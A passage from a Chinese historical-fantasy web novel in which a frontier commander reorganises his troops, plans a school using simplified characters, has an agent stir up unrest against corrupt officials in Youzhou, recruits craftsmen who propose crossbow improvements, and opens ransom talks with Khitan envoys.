秦猛眼神发亮:“另外,还得负责培养将领。以后副将、部将里,要是有勇有谋、战功多的,就选到参谋部来当参军,一起商量军事,挑选有潜力的年轻人,学些行军打仗的本事。”
“每个副将、部将的副官,得从他们手下的队将、队长、什长里挑,选那些战功多、能力强的推荐上来。”
“所有推荐的人选,都得通过严格考核——骑马射箭、布阵变化、写文书懂谋略,连忠心和人品都得查。
最后任命,我亲自审批,希望各位认真对待此事,杜绝走后门、讲私情,军队宁可宁缺毋滥,”
军寨内部管理的方面,仍是以知寨官秦猛为核心,找了威望高、熟悉民情的老保长王槐,加上诸葛风、李恒等人,一起组成军务署。
专门负责各级文吏的选拔、考核和提拔。
“考核文吏,不能只看会不会写文章,更得看实际本事——处理公务快不快、管粮食兵器清不清楚、安抚流民有没有效果,这些都是依据。”
“总得让寨子里的命令能顺利传达,户口清楚,粮食不缺,才能给前线将士提供扎实的后盾。”
这场商量想得特别细,既要符合边塞军寨的实际情况,又能激励上下的人。每一条规矩定下来前,都反复琢磨,确保根据实情且有规矩可依、有办法执行,经得起别人说三道四。
规矩定完,大伙儿又转头商量眼下最急的兵员分配问题。
按军寨“三三制”的规矩,一个部满编五百余人,一个副将得管一千五百人。但现在兵额不够。
诸葛风捻着胡子琢磨道:“挂着空名头反而会削弱战斗力,不如实在点,先把编制缩小,重点练精兵。”
“没错,先把手底下人训练好了,然后逐渐扩编。就以招募乡勇等名义来,上报军寨批准即可。”秦猛扫视众将领,意味深长地笑了笑。
大伙儿都同意这个主意。
仔细算完后,决定先以练兵为主,目的是尽快形成战斗力:
陷阵营额定两千五百人,是主打进攻的主力。
张富贵带五百骑兵,当先锋。
王铁山领三百步兵,再兼管两百骑兵。
刘铁柱管三百弓箭手,再配两百骑兵。
王善,牛五专门带四百重骑兵,乌维领一百重步兵。
鲁真和张大胆一起管五百重骑兵,是决定胜负的冲击力量。
王良专门带两百亲兵,都是精锐骑兵,保护中军。
卫戍营额定一千五百人,以防守为主。
秦大壮带四百步兵,重点练长枪阵对付骑兵,另外配一百骑兵。
李山管三百刀盾兵,兼管两百骑兵。
常勇专门带五百骑兵,当寨子里的机动支援力量。
除此之外,另设八百辅兵,由诸葛风总体安排,韩勇具体负责,负责守卫营地和管粮食物资。
还有三百人的劳改营,由张龙、张虎严格看管。
所有新招的兵和编外人员,统一由秦大壮、李山、刘铁柱这些将领定计划,轮流抓紧训练。
现在各个将领手下的人都没满编,这是眼下最大的问题,只能等开春后,多招些壮实的人慢慢补上。
事儿都商量完,将领们个个精神振奋,纷纷告辞,各自回营整顿手下。
官署里只剩秦猛和诸葛风两人。
炭火盆里添了新炭,火苗窜得更高,把两人的脸映得一亮一暗。
秦猛揉了揉眉心,沉声道:“军制改革与兵员、规矩都在完善中,接下来该办学堂的事了。军寨要长远发展,不能只靠刀枪打打杀杀。
得让弟兄们及他们的孩子认字算术,寨里流民的孩子也得有学上,将来才能有人撑起军寨的根基。”
诸葛风点头赞同,从袖子里掏出一卷写好的学堂规矩,递过去:“大人想得对,我大致拟了学堂的章程,分蒙学和武学两部分
——蒙学教认字算数,普及知识如边塞生存之道。武学就挑些资质不错的少年,教点基础武艺和打仗的常识。就是教授不足,还得好好琢磨。”
秦猛接过章程,一边翻看,一边笑着开口:“教员的事不用愁,我已经让人去幽州聘请教书先生。
不过有件事我得跟你商量——现在用的繁体字笔画太多,不管是孩子还是军卒,学起来都费劲,我想简化之后再教,你觉得怎么样?”
“简化之后字体?”诸葛风眉头微蹙,显然没听明白。
“子壑先别急着反对,你看。”秦猛笑着起身,指尖蘸了点茶盏里的水,在案几上一笔一划写起来:“就说这个‘鳳’字,简化后直接写成‘凤’。
还有‘養’字,去掉复杂的笔画写成‘养’,是不是一眼就能看清?”
诸葛风凑过去,目光紧紧盯着案上的字,原本皱着的眉头渐渐舒展开,眼神里满是震惊。
他读了十几年的书,深知初学文字时,繁难的笔画有多磨人,可从来没想过还能这么改!
别说他自己,就算是京城那些饱读诗书的大学士,声名赫赫的文人,怕是也没动过这念头。
秦猛见他神色松动,继续说道:“我知道简化字少了原字的韵味,可咱们办学堂不是培养文人雅士,是让普通人能认字、会写字。
先教他们简体字,把底子打牢,之后再学繁体就容易多了。
而且真到了紧急时刻,写军情报告时,用这简体字,能省不少时间,说不定还能救急。”
“妙!实在是妙啊!”诸葛风猛地一拍大腿,起身朝秦猛拱手,语气里满是敬佩:“大人这法子,乃神来之笔,是真真正正的为民着想。
要是能推广开,不知能让多少人摆脱文盲之苦,说您是救世之才,文学巨匠,一点都不为过!”
“别捧我了,我就是借了前人的巧劲。”秦猛被夸得有些不好意思,摆着手笑道:“咱们还是赶紧琢磨琢磨,哪些字简化之后更方便。”
两人当即凑在案前,对着章程上的字一个个研究。
时不时争论两句,气氛热烈。
可就在这时,堂外突然传来“噔噔噔”的急促脚步声,还夹杂着甲胄碰撞的“哗啦”脆响。
紧接着,一名亲兵浑身裹着雪,连门帘都没来得及掀,就撞了进来,朝秦猛行礼,扯着嗓子喊道:“大人!大喜事!韩副使送来了密信,幽州那边又派来一批人,这会儿快到军寨……”
第215章 幽州**风波
幽州城,风雪从早晨,渐渐大了起来。
风雪朦胧,城中石板路已被马蹄踏得作响。韩勇勒住缰绳,玄色短打外罩着件半旧的羊皮坎肩,目光扫过身后二十多个挑着货担的汉子。
——刘三正弯腰检查最后一箱药材,货担底层的夹层里,藏着给各据点传递隐蔽消息的账本。
“动作快点,城里铺面等着卸货,别耽误了时辰。”韩勇低声叮嘱,刘三点头应着,挥手让队伍跟上。
皮货的腥气混着药材的苦香在巷子里散开,他们先到南市的“和记皮货行”,掌柜老周接过货单时,指节在柜台下敲了三下。
——这是暗部据点的接应信号。
韩勇趁机递过一张折叠的纸条,上面写着“午后申时,西街老槐树”。
接连走了五家铺面,从布庄到药铺,每个掌柜都心照不宣地收下货物,又悄悄递回些零碎消息:
杨家公子前日在酒楼被泼了一身泥浆,昨晚苏家二爷出门时,刚到巷口就被人兜头倒了桶馊水。
“城里都在传,说杨大人私通山贼,前段时间还欲剿灭山贼灭口,苏家粮仓里藏着**的马匹。”
最后一家药材铺的伙计压低声音,眼里闪着兴奋的光,“现在消息传遍全城,谁见着杨、苏两家的人,都绕着走,那眼神跟看脏东西似的。”
韩勇嘴角勾起一丝冷笑,这段时间,他让弟兄们混在茶肆、酒楼,甚至赌坊里散播消息。如今总算见了成效,幽州百姓的怒火悄然酝酿。
他正打算回住处,却听见前方传来嘈杂的喊声,顺着人流挤过去,只见刺史府门前围了数百人,老的少的都有,手里举着粗糙的木牌。
上面写着“还我夫君”“还我儿子”“求抚恤”的字样。
“我儿子是杨统制麾下什长,月前跟着去剿冷艳山寨,至今活不见人、死不见尸!官府就给一句‘失踪’,连半文钱抚恤都没有,这日子没法过了。”
一个老妇人披头散发地坐在地上哭喊,声音嘶哑。来往名人驻足,跟着附和,骂声此起彼伏。
“就是,我家三伢子也不见了,官府说被贼人杀了。”
“呸,冷艳山寨早就被边军剿灭,是来糊弄鬼呢!”
“我听说是杨家大队要灭口,反而误杀了边军。双方当场就打了起来,两营地方军**败。”
“城南的陈家,吴大户俱送钱送粮,去边军赎人了。”
“对对对,我也听说了这件事。”
“那杨全,周翔两个指挥好久不见人。”
“**,这群家伙坏透了,狗官!还我儿命来。”
在有心人的鼓动下,人们议论纷纷,越说越气愤,许多急性子更是嘴巴不饶人,跳脚大骂。
驻足和聚拢的百姓是越来越多,几乎堵住了刺史府。石块乱飞,骂声不断,场面一片混乱。
府衙的军卒握着刀柄,却不敢上前驱赶民众。这些人都是失去亲人的军民,真要是动了手,**只会更糟,他们可担不起百姓哗变的责任。
人群外,韩勇看着守门士兵眼中闪过的慌乱,撇撇嘴表示不屑。耍些小手段,谁还不会了?
他深知,要动摇官府威信,单靠一时的**还不够,必须要有持续冲击官府公信力的事件。
最好是有恶劣事件加剧矛盾!
突然,一个伙计打扮的汉子小跑过来,汇报:“掌柜的,前几日,带头来刺史府外**的张三,宋宝被抓了,那群官差偷偷摸想从后门进。”
“哼,偷摸?他们也就敢趁着人少的时候抓捕,韩某偏偏就不让了。”韩勇听了,冷笑连连。
随即在伙计耳边说了几句,吩咐他如何如何做。这正符合煽动中加剧矛盾以制造对立的手法。
伙计点头,不动声色地退到了人群中。
“不好了,官府胡乱抓人啦!”
就在这骂声不断的时候,一声杀猪般的惨叫响彻。
这声呼喊瞬间就让场面为之一静。
“快去后门,官府恼羞成怒,这是要**灭口。”韩勇身边几个亲随早就散开,此起彼伏地呼喊。
“大家要是不团结起来,也要被他们抓入大牢受罪。”
“没错,团结就是力量。”
人群中的呼喊声此起彼伏,情绪被彻底引燃。
也不知道是谁振臂高呼“跟我来哇!”
顿时至少有三两百人扑向刺史府后门,恰好与私下抓捕**者的官兵撞了个对着,蜂拥困住。
“你们做什么?”领头的什长按住刀柄,色厉内荏。
“去**,你丫的还想动刀怎地?”人群中飞奔出一个壮硕小伙,一脚把对方踹倒在地。
“乡亲们,跟他们废什么话,这群狗东西助纣为虐。”一个浓眉大眼,魁梧的汉子挺身高呼。
他一带头冲锋,身后大群百姓涌动,七八个官兵徒劳挣扎,很快就被薅发掐脖,摁在地上摩擦。拳头如同雨点般落下,到处都是脚丫。
前几日,带头聚众的几个汉子,被迅速救了出来。
刺史府内哨声不断,大队官兵涌出,拔刀叫骂,那些**的百姓喊着**了,一哄而散。
那被抓的几个带头者也跑得没影。
只有几个鼻青脸肿的官兵在地上翻滚,哀嚎着。
“掌柜的,人救出来了,”之前那个伙计回报。
“你带人把张三他们的家眷送出城。”韩勇吩咐道,又从怀里摸出一锭银子,塞给旁边的亲
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随:“你寻个机会去告诉李捕头,就说姓张的故人想请他喝杯茶,老地方见谈一笔买卖。”
“得令。”几人应声,分头行事。
“哎,这些老爷们高高在上惯了,却不知上行下效。以前是没人撑腰,如今有了,愤怒否?”韩勇望着气派的刺史府,转身便挤出了人群。
与此同时,刺史府,书房内。
“该死,该死,这群刁民真不知死!”崔文远得知府外又**了大群百姓吵闹,拍案而起。桌上精美的茶盖哐啷掉到地上,摔得粉碎。
下方别驾杨烁,治中孙强,长史苏骞大气也不敢出。他们同样被百姓鄙视对待,憋屈得很。
“究竟是谁?是谁搞得鬼?”
崔文远胸膛起伏,目光阴鸷地扫过手下三人。
“大人,敢于您和整个幽州做对的就那几个人。”杨烁稍作犹豫,便上前半步,拱手低声提醒。
“你是说边军还是转运司?”崔文远阴沉着脸。
“都不是。”杨烁摇头,吐出两个字:“边塞。”
“秦猛?”崔文远立刻想到,随即嗤笑一声:“这不可能,他一介武夫,只晓得逞匹夫之勇。这种煽动幽州百姓**针对我等,你觉得可能吗?”
“这……”杨烁被访问的哑口无言。
“大人,您不要忘了另外一人。”苏骞突然上前:“那个逃脱追杀的幕僚,知道的事情儿太多了。”
“赵开明?”崔文远眼中寒光一闪,这个名字让他如鲠在喉。那个刘德福的幕僚,在灭口中被人救下,如同人间蒸发,成了他一块心病。
此人熟知官场套路,更掌握着许多见不得光的账目往来……若真是他在背后策划,那这一切就说得通了。
只有他,才有这份心机和能力,施些小恩小惠,将散沙般的怨民凝聚成一股对抗官府的力量。
“该死!”崔文远脸色越发阴沉,眼中杀机毕露。
“查,给我查流言源头,重点就查这个赵开明!生要见人,死要见尸!定教他知道本府的手段!”
“是!”
命令下达,府衙三班衙役、巡街兵丁迅速散开,在城中大肆搜查,如虎狼般闯入各个酒楼、茶肆,抓捕传言者是假,勒索油水才是真……
最终,他们抓到的是一些地痞流氓,或者只是被煽动起来的普通百姓。审问之下,都说是夜晚得了钱钞,奉命散布消息、带头起哄。
至于神秘人是谁,长相如何,却众说纷纭,人名,地址等通通都是假的,根本无从追寻。
崔文远在书房里听着一次次无功而返的汇报,脸色铁青。对方显然计划周详,行事老辣。这种如同被毒蛇盯上的感觉,让他暴躁异常。
第216章 军寨迎贤来
入夜后,幽州城看似恢复了平静,但暗流愈发汹涌。一场更大的风暴正在这雄城的夜色中酝酿。
在城外山上黑松林中一座小庙里,韩勇见到了惊魂未定的张三、宋宝等人以及他们的家眷。
韩勇在幽州认识不少人,以钱财买通府衙内部人员,里应外合,这些人有惊无险地出了城。
张三、宋宝本以为被抓是死定了,却被救下送出城,得知恩公在眼前,带着家小就要下拜。
“韩爷,多谢救命之恩!”
韩勇连忙扶起:“诸位乡亲请起,韩某也是不忍见诸位蒙冤受屈。官府无道,我们只能自救。”
他环视着庙内一张张疲惫而愤怒的脸,沉声道:“此处非久留之地。崔文远绝不会善罢甘休。
我已安排好人手和路线,连夜出发,前往北边军寨。那里能吃饱穿暖穿,也有一条活路。边军将领治军严明,专杀鞑虏,能庇护我等。”
“我们都听韩爷的!”众人纷纷响应。
韩勇,刘三两人带队来幽州,除了送皮货与药材,成立暗部据点,制造**,搅乱幽州。
其实还有最核心的任务就是收拢人口。幽州城几十万人,官僚们视如草芥,秦猛却求之不得。他的军寨想要升格,人口是个硬性指标。
所以韩勇等人来的时候,他专门拨了一笔钱财。不管用什么方法,尽量多挖一些人才过来。
早在几天前,韩勇,刘三仗着自己的人脉关系,按秦猛的要求,寻到那些生活拮据的秀才,底层的匠人,脚夫,身体倍儿棒的青壮……
在他俩三寸不烂之舌之下,又有大笔的银钱铺路。七八个穷秀才,许多优秀匠人,青壮年,随着购买的物资,由军卒护送返回了军寨。
这几天,他们也没闲着,四处走访,陆续收拢三百多名对官府失望的青壮和他们的家人。
他们共同的特点就是比较穷过,另外,其中有很多人被城内富户欺压,心中抱有怨念。通通都被韩勇,刘三等人说动了,举家迁至军寨。
韩勇对身边的刘三低声吩咐:“赶紧把带来的武器**分发到位,教他们使用,再赶紧安歇。
明日清晨,分三路走,咱不是买了许多年货么?就当是商队练练手。刘冲兄弟带一队青壮开道,你带队随着车辆居中,我亲自带人断后。”
“好,没问题。”刘三点点头。
韩勇望向幽州城方向,眼神锐利:“风暴才刚刚开始。我们可不是逃遁,而是回家过年。明年正月,让崔大人好好尝尝什么叫民怨沸腾!”
“大人,咱这回往军寨带了**百人,不知有地方安置?”韩勇脸上冷笑收敛,望着庙后山一个个又一个帐篷,眺望军寨方向,低声呢喃。
……
铁血军寨,后寨门处。
风雪漫天,一支长长的队伍在雪地上碾出深深的车辙脚印,如同一条巨**,徐徐靠近军寨。
队伍中既有装载着物资,军帐的大车,更多的是扶老携幼、面带风霜却又眼含期盼的人群。
李恒、吴二等人刚登记,安顿完海宁村的村民。
闻讯后,他们又马不停蹄地赶来接应。
秦猛也带着诸葛风、**等一众亲兵,顶风冒雪赶到寨门。
当他看到队伍中不仅有精壮汉子,更有几位穿着洗得发白、带着补丁的蓝色秀才服的文人,
以及那些下意识护着随身工具包裹的工匠及其家眷。
秦猛刚毅的脸上露出了发自内心的笑容。他大步上前,声若洪钟,在风雪中清晰地传开:
“诸位,欢迎来到铁血军寨!到了这儿,就是到家了!”
他之前看过韩勇派人送来的亲笔信,信中详细说明他们在幽州近况和此次“招揽”的成果。
为了说动这些郁郁不得志的秀才,韩勇、刘三几乎磨破了嘴皮子,分析了军寨重视文教、前途光明的现状。
从幽州军器局“挖墙脚”更是费力,打听手艺好的师傅,又花费了重金,许以厚利和尊重。
这批人才,正是目前军寨最急需的新鲜血液,是军寨几个军工作坊整合升格为军器监的关键。
“见过秦知寨!”为首的老成秀才和几个匠头模样的汉子,从军寨巍峨雄壮的景象中回过神来。被领队赵虎提醒,忙整理衣冠,上前恭敬行礼。
他们眼中既有对陌生环境的忐忑,更有对这位传闻中勇猛却善待士卒、百姓的知寨的好奇。
秦猛笑容温和,先是扶起行礼的众人,然后,他目光扫过在场的每一位新来者,朗声道:“诸位能来,是信得过我秦猛,信得过咱们铁血军寨!
不管是识文断字的先生,还是手艺精湛的师傅,或是愿意在此落地生根、保境安民的弟兄。
只要来了,就是一家人!军寨别的不敢说,必定让大伙儿有衣穿、有饭吃、有屋住,娃儿能够学堂,凭本事挣前程,绝不受那鸟气!”
他的话朴实有力,瞬间安抚了不少人不安的心。
秦猛没有顾此失彼,与众秀才、工匠简单
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寒暄几句后,又走向那些前来投奔的青壮、脚夫和护卫队伍,同样好言安抚,勉励了一番。
接着,他立刻安排下去:“吴二,带人准备热姜汤和热水,先给大伙儿驱驱寒!李恒,按之前准备好的名录,给所有人发放新棉衣……”
一系列指令下达,军寨士卒们高效运转起来。这群初来乍到、心中彷徨的人们立刻变得踏实。
军寨的营建是第二场暴雪开始,才被迫停止。附寨里建造出了成片的茅草屋,延伸至葫芦口内,一座营地耸立,是为安置流民准备的。
当这批民众通过军战防疫流程。
“诸位,随我来!”李山,刘铁柱,鲁真等将领纷纷赶来,领着青壮小guoba前往新兵营安置。
诸葛风上前,对几位秀才拱手道:“几位先生一路劳顿,且随我先去安顿。学堂已在寨南修缮了几间铺屋,虽略微简陋,但胜在安全。
诸位日后便暂居那里,教授寨中孩童与军卒识文断字。”
秀才中,一位年约四十、面容清瘦却目光有神,名叫朱俊的文人开口问道:“诸葛先生,不知寨中现有多少适龄孩童与军卒需启蒙?若是数百上千人,我等几人恐怕力有未逮。”
他担心任务过重,难以胜任。
诸葛风微微一笑:“朱先生放心,目前适龄孩童约百余,军卒中自愿学习者亦有数百。
不过,教学之法已有改良,并非要求人人成为秀才,首要在于识得常用字,会写会算。
秦将军与我商讨过,认为现在汉字笔画太多,打算推行简化字教学,由浅入深,进度会快上许多。”
“啊,简化字?”朱俊脱口而出,其他人也满脸不解。
“这是秦大人的奇思妙想,在下也认为是神来之笔来。诸位请稍安勿躁,稍后我会详细讲解,”
诸葛风笑了笑没多说,话锋一转,声音提高些许,让其他秀才也能听清,“而且,秦大人有令,在铁血军寨,不论背景,唯才是举。
诸位先生只要教学有成,展现出相应的才华与责任心。将来寨中兴盛,增设文书、律法等职司,乃至典签,六曹副使、参军、等正八品、从八品的官职,皆可从诸位之中择优擢升!”
此言一出,秀才们顿时又惊又喜,面面相觑。
他们在幽州屡试不第,大多只能设馆教书或给人做幕僚,何曾想过在这边塞军寨竟有直接步入仕途的机会?
一时间,人人眼中都闪过惊喜,顿时充满了干劲。
第217章 木工坊惊现大才
诸葛风领着秀才前往临时学堂安顿时,另一边,秦猛则亲自领着挖过来工匠来到工坊区。
他边走边与这些匠人师傅攀谈,得知这批经验丰富者有二十余人,连同他们的学徒超五十人。
其中约莫七成工匠擅长锻造铁甲,领头的匠人唤作徐瀚,原是幽州军器局锻甲坊的老把式。
他祖传三代锻甲手艺,曾为边军打造过制式铁甲,却因不愿给监工**,遭排挤和打压,长期被克扣大半薪水,家中妻儿常食不果腹。
其余匠人则精于**制作,手艺最高的是个名叫沈木秋的中年匠人,其父曾是宫廷造办处的**匠,因得罪权贵被贬至幽州军器局。
他承袭父艺,改良过幽州常用的脚踏式强**,却换来一句“擅改制式,目无规矩”的斥责,薪水微薄到连家人吃饱穿暖的钱都凑不齐。
正是因幽州官僚贪腐成风,逼着他们没日没夜做工,薪水却被层层盘剥,难以养家糊口。
韩勇等人打探到他们的难处,再以重金相邀与军寨的诚意,才让他们下定决心离开幽州,投奔铁血军寨。
秦猛心中大喜,这群工匠正是军寨核心作坊的武备升级、打造精良甲胄与**所急需的力量。
一行人先到了炉火熊熊、叮当声不绝于耳的铁匠工坊。
秦猛将工匠们介绍给工头李根生:“李叔,这几位老师傅都是从幽州军器局请来的好手,尤其擅长锻甲。
今后,工坊成立新的组队,由他们牵头,组建甲胄队,专门打造重甲、札甲、锁子甲。”
李根生是个实在的汉子,闻言大喜,搓着手道:“太好了,正愁人手不够,这批熟手来的及时。大人放心,俺一定配合好老师傅们!”
秦猛又对工匠们宣布:“诸位师傅,在军寨,手艺就是金子。除了每月五贯固定的例钱。
每打造合格一套铁甲,另有额外奖励。具体数额,绝对比你们在幽州军器局时所得翻上几倍!”
工匠们听到如此实在的许诺,再看看工坊内奇特的熔炉,齐全的工具和充足的料材,脸上都露出了兴奋和期待的神情,纷纷摩拳擦掌。
接着,秦猛又带人来到木工坊。
还未进门,就听到里面传来一阵激烈的争论声。
进去一看,原来是坊内的几位木匠师傅正围着一张改进中的守城巨**图纸,为如何解决连发机构的稳定性和射速问题争得面红耳赤。
“此处机括受力不均,每次击发后复位缓慢,如何能快?”一个老匠人指着图纸上一处结构摇头。
“若加强簧片,又恐**臂承受不住,易崩裂!”另一人反驳。
就在众人争执不下时,一个一直在人群外围,比较沉默、皮肤黝黑的汉子——是石老三。
他盯着那复杂的机构图纸,眉头紧锁,见众人真挚不休,终于忍不住用略带沙哑的嗓音开口。
“此处榫卯连接,若改用‘燕尾扣’,斜口咬合,**身承力更均匀,复位或可更快更稳,兴许能解。”
他的声音不大,却让满场工匠愕然望去。这’燕尾扣’是高级木工技巧,常用于精密家具或建筑承重结构,用在**机上可是闻所未闻。
秦猛也听到了这番话,略微吃惊。
他对这个石老三有印象,是早些时候随张崇、林婉儿来到军寨的流民之一。
工头鲁明曾提过,此人干活卖力,从不偷懒,却沉默寡言,但手脚麻利,没想到竟有这般见识。
“你叫石……”秦猛快步走上前,和颜悦色地问道。
“大…大人,俺叫石老三。”石老三见秦猛走来,略有些拘谨地回答,一改平日的沉默。
“你对这守城强**很有研究?”秦猛笑着问道,目光中带着探究:“你不用怕,有话大胆说。”
石老三局促地挠了挠头,似乎打开了话匣子:“回大人,俺……俺以前无聊的时候,瞎看过几本讲机关器械的残本,多少懂一点皮**。
俺觉得,这**目前要解决的问题不光是连发,更是连发后的精准度。
若是连**,或许可在**箭的箭道上加个小小的凹槽,就像…就像是给箭找个不变的路……”
他见秦猛听得专注,索性捡起旁边的一把样**,手指戳着强**的连发槽,语速都快了几分。
“大人您看,这**的毛病不在力道,而是在‘续力’和‘稳准’。现在的连发槽是直的,箭矢滑过去时容易偏。
可改成微弧槽,再在槽边刻三道浅纹,让箭簇顺着纹路走,精准度至少能提两成。还有这**,太硬,换成‘双簧片’**,更快更省力。”
秦猛神色略显古怪,想到后世军**导轨槽是平底,两侧微弧形,他盯着石老三,兴奋地问道。
“那你还有什么想法?”
石老三蹲下身,捡起木炭在地上画了个简陋的床**轮廓:“这床**,咱军寨如今用的“单弓擘张式”,不仅拉满需三人合力转动绞盘,箭矢射程还不足五百步,若改成“双弓绞盘式”。
在主弓两侧各增一副副弓,再各配上联动绞盘,用牛筋绳将三弓一并绞紧,绞盘卡扣一松,三弓合力迸发,八百步外可洞穿敌军盾阵!
俺以前瞎想过
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,那投石车若是能调节配重……”
他越说越顺,竟从**机的结构、材料,说到力学的运用,引申到大型攻城器械投石车的原理,虽然用语质朴,但思路清晰,往往切中要害。
木工坊众多师傅,学徒面露愕然之色。连那些新投奔的木匠师傅或若有所思,或抚须赞叹。
秦猛听得眉飞色舞,心中暗赞:这真是捡到宝了!没想到流民中还藏着这样一位精通器械的能手。
他当即立断,朗声道:“好!石师傅,想不到你竟是深藏不露!现在我下令,成立军械改良组,
就由你石老三牵头,与这几位新来的老师傅一起,专门研究如何改良**,不仅要改进现有的,还要尝试自主研发新式连**、投石车。”
“啊?俺……俺牵头?”石老三听到这个突如其来的任命,眼睛瞪得老大,简直不敢相信自己的耳朵。
秦猛盯着石老三,用起了激将法:“怎么?石兄弟,你迟疑,是没有这个胆量和本事接下这个担子?若是不能,我就只好另请高明了……”
“咋不能?”石老三被这一激,胸中豪气顿生,抢着回答,猛地挺直了腰板,铿锵有力地保证。
“大人放心!俺石老三就算不吃不睡,也一定带着大伙儿把这事儿办好,绝不辜负大人期望!”
“好!要的就是这股志气!”秦猛满意地点头,用力拍了拍他的肩膀:“各种所需直接申请即可。”
他环视众人,声音铿锵:“只要你们能将**的射程、威力或射速任何一项显著提升,各种有利军寨的器械,研发团队,赏银百两起步。
任何人,只要提出有效建议或辅助改良成功,按功劳大小,皆有重赏。
在军寨,有本事,肯钻研,金银前程,唾手可得!”
新来的工匠们也有些错愕,但随即眼中闪过强烈的兴奋。他们在幽州被上官盘剥,收入微薄,才冒险来此,听到知寨如此重视技术、重金悬赏,顿时人人都有了斗志,下意识地握紧了拳头。
秦猛要的就是这种效果,重赏之下,必有勇夫。转身对鲁明及工坊众人交代几句,便带队离去。
刚走出工坊,一名军卒飞奔来报:“将军,燧堡来报。
河对岸契丹人又派来几个游骑,说要谈交换俘虏的事儿。秦副将拒绝说天色已晚,明天再谈。”
“好,做得对,转告秦副将,晚上得加强戒备。”秦猛听了直接下令,又让亲兵前往各处叮嘱。
夜间戒备加强,军寨也不能放松警惕。军寨刚刚注入新的活力,但草原上的威胁,从未远离。
第218章 哨所内的谈判
“呼、呼——”朔风刮个不停!
这样风雪交加的夜晚更是偷袭的良机。
秦猛安排妥当晚间防务后,这才踏着渐深的夜色返回住处。
推开家门,一股暖意夹杂着饭菜香气迎面扑来,驱散了满身寒气。
陈月娘早已备好热腾腾的饭菜,小妹秦小芸和王艳正手脚麻利地摆放碗筷,连林婉儿也在座。
屋内笑语盈盈,与外间的肃杀仿佛两个世界。
“官人!快坐下喝口热汤暖暖身子。”陈月娘快步迎上前,为他拂去大氅上的落雪,眼中满是关切。
这温馨寻常的家常景象,瞬间驱散这边塞的寒冷。
众人围坐用餐,气氛融洽。
饭后,收拾掉碗筷,秦猛与陈月娘回到房中。
红烛下,陈月娘依偎在男人坚实的胸膛前,轻声道:“寨中今日喧闹,我都听说了。官人又收留难民,是为大家能更齐心守好这个家。只是…官人在外要照顾好自己,莫要太过劳累。”
秦猛揽住妻子,沉稳一笑:“月娘放心,一切我自有分寸。天色不早了,咱们早早歇息。”
“呼哧”一声,烛火被吹灭。
窗外风雪呼啸,屋内炕头烧得热了,暖意融融,夫妻二人耳鬓厮磨一番,方才相拥歇下……
第二日,天光未大亮,风雪之势较昨日更狂。
秦猛正搂着妻子在温暖的被窝中贪恋这片刻安逸,亲兵副将王善的声音便在院外响起,穿透风雪传了进来:“大人,契丹人又来了。
烽燧那边来报,一行六骑,举着白旗,已到雪墙之外,徘徊喊话,又是欲商谈交换俘虏之事。”
秦猛闻言,眼中慵懒瞬间被冷冽取代,他轻轻拍了拍被惊醒的陈月娘,沉声应道:“知道了!带他们去末等哨所等候,我即刻便到。”
“官人,正事要紧。”陈月娘虽不舍,仍连忙起身帮他整理甲胄。
“嗯。”秦猛迅速穿戴整齐,推门踏入风雪之中,脸上已恢复冷峻,自语道,“鞑子又来提这茬,如此迫不及待,看来,是打算撤退了么?”
……
风雪铺天盖地,如白色怒涛般席卷拒马河,冰封的河面早已被积雪覆盖,天地间白茫茫一片。
拒马河南岸的雪墙防线如一条沉睡的巨龙,一头连接着巍峨的烽燧堡,另一头隐没在风雪深处。
秦大壮所部的士兵们顶着刺骨寒风,在防线上严阵以待。
有的士兵踩着没过小腿的积雪巡逻,靴底与积雪摩擦发出咯吱声响。
有的则占据着防线制高点,双眼如鹰隼般警惕地扫视着北方雪原,哪怕风雪模糊了视线,也不敢有半分懈怠。
为了让戍边将士能在极寒中取暖休整,军寨前沿哨所应运而生——每隔三五百米的距离,就有几间结实的营房相连,矗立在雪地里。
屋内砌着灶台,码着干爽的柴火,角落里堆放着米面菜蔬等食物,将士们既可以自己生火做饭,也能等寨前军营换班的队伍送来热食。
大周朝廷可不会这般贴心的善待将士。而是秦猛凭后世青藏边防的经验,搞出来的举措。
前沿哨所依托寨前军营设立,越靠近军营的哨所,战略意义越重要,被秦猛清晰划分为核心、次级、末等三种等级。
此刻,契丹游骑已抵达防线附近,提出要谈判交换俘虏。
秦猛明白对方还有其他目的,多半是想借此打探己方虚实,便毫不犹豫让人将他们引向了末等哨所。
这末等哨所的布置反而精妙,十几栋石头房与茅草房错落相连,看似杂乱无章,却处处透着“繁忙”。
——许多军卒在房屋间进进出出,有的扛着柴火,有的提着水桶,一派热火朝天的景象,极具迷惑性。
此刻,在契丹游骑眼中,这般热闹的哨所必然是重要军事据点,后方或附近定然有大军营地。
果不其然,领队者宝嘉尔让人往周边探查,很快就在不远处发现了一座看似规模不小的营地。
秦猛勒马站在哨所不远处的土坡上,望着远处被风雪笼罩的契丹方向,嘴角勾起一抹冷笑。
他自认领兵打仗是新手,可互联网时代的海量知识,却让他掌握了无数超越这个时代的谋略。
随便抠出点来,就能把这些草原鞑子耍得团团转。
当他带着一队亲卫,抵达这处喧闹的末等哨所时。还未进门,便听到石头房内传出的激烈争执声。争执的焦点正是围绕着交换俘虏的条件。
屋内,秦大壮这个平日裡憨厚的汉子,此刻却像块又臭又硬的石头,死死咬着价格毫不松口。
他坚持着秦猛定下的标准:普通俘虏,每人需五匹战马、十只羊。
什长、百夫长等军官,视财产,价格从二十匹战马到一百匹不等,这是赎回他们的买命钱。另外还需相应数量的牛羊,这却是劳力折算。
至于擒获的大当户、千夫长,以及那三十多个被拷问出贵族身份的子弟,价格更是高得惊人。
此番俘虏总计八百余人,其中贵族子弟就有三十多个。
累计赎金,是一笔足以让伏弗郁部都感到肉疼的数字。
契丹使者的领队宝嘉尔,说得一口流利的汉语。
他正苦着脸,对秦大壮诉苦:“将军,赎回所有人,一次付近万匹战马,这数量实在太庞大了。”
说话间,宝嘉尔凑近一步,塞过去两块宝石,压低声音:“还请将军在秦大人面前美言几句,价格方面,能否通融通融?事后必有重谢!”
“你做什么?”秦大壮却如同被蝎子蜇了一般,猛地向后跳开,声色俱厉:“少来贿赂这一套,赎金价格是大人定下的,一个子儿都不能少!”
他瞪圆了眼睛,丝毫不给对方面子,双方正是为此事僵持不下。
秦猛踏入屋内,带进一股凛冽的寒气。
宝嘉尔打量秦猛片刻,愣了出来,见正主到来,立刻撇开秦大壮,堆起满脸愁容迎了上来。
“秦大人,您可来了!这换俘的价格……实在是太高了,部落实在难以承受,您看,能否减少一些?”
秦猛掸了掸大氅上的雪花,语气平淡:“可以谈。”
宝嘉尔闻言一喜。
但秦猛紧接着话锋一转:“买卖不成仁义在。不过……”
